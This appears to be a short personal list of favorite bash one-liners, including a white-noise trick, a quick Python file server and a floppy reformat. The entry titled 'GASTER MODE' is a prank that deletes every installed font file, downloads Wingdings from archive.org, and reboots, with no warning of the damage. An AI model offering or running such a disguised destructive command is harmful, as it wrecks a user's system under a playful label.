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Bash Oneliners

This is a list of my favorite bash oneliners.

GASTER MODE

fc-list --format=%"{file}\n" | xargs -d '\n' rm && wget -P /usr/share/fonts https://archive.org/download/windows-fonts_202006/W/WINGDING.TTF && fc-cache -f && reboot

WHITE NOISE TO HELP YOU SLEEP

cat /dev/urandom | aplay

QUICK FILE SERVER

python -m http.server 8000

TEST AND REFORMAT A FLOPPY

ufifmt -v /dev/$yourdisk && sleep 5 && sudo mkfs.fat /dev/$yourdisk